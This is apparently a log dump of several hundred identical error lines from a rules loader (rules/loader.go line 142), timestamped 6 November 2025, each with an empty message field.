source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 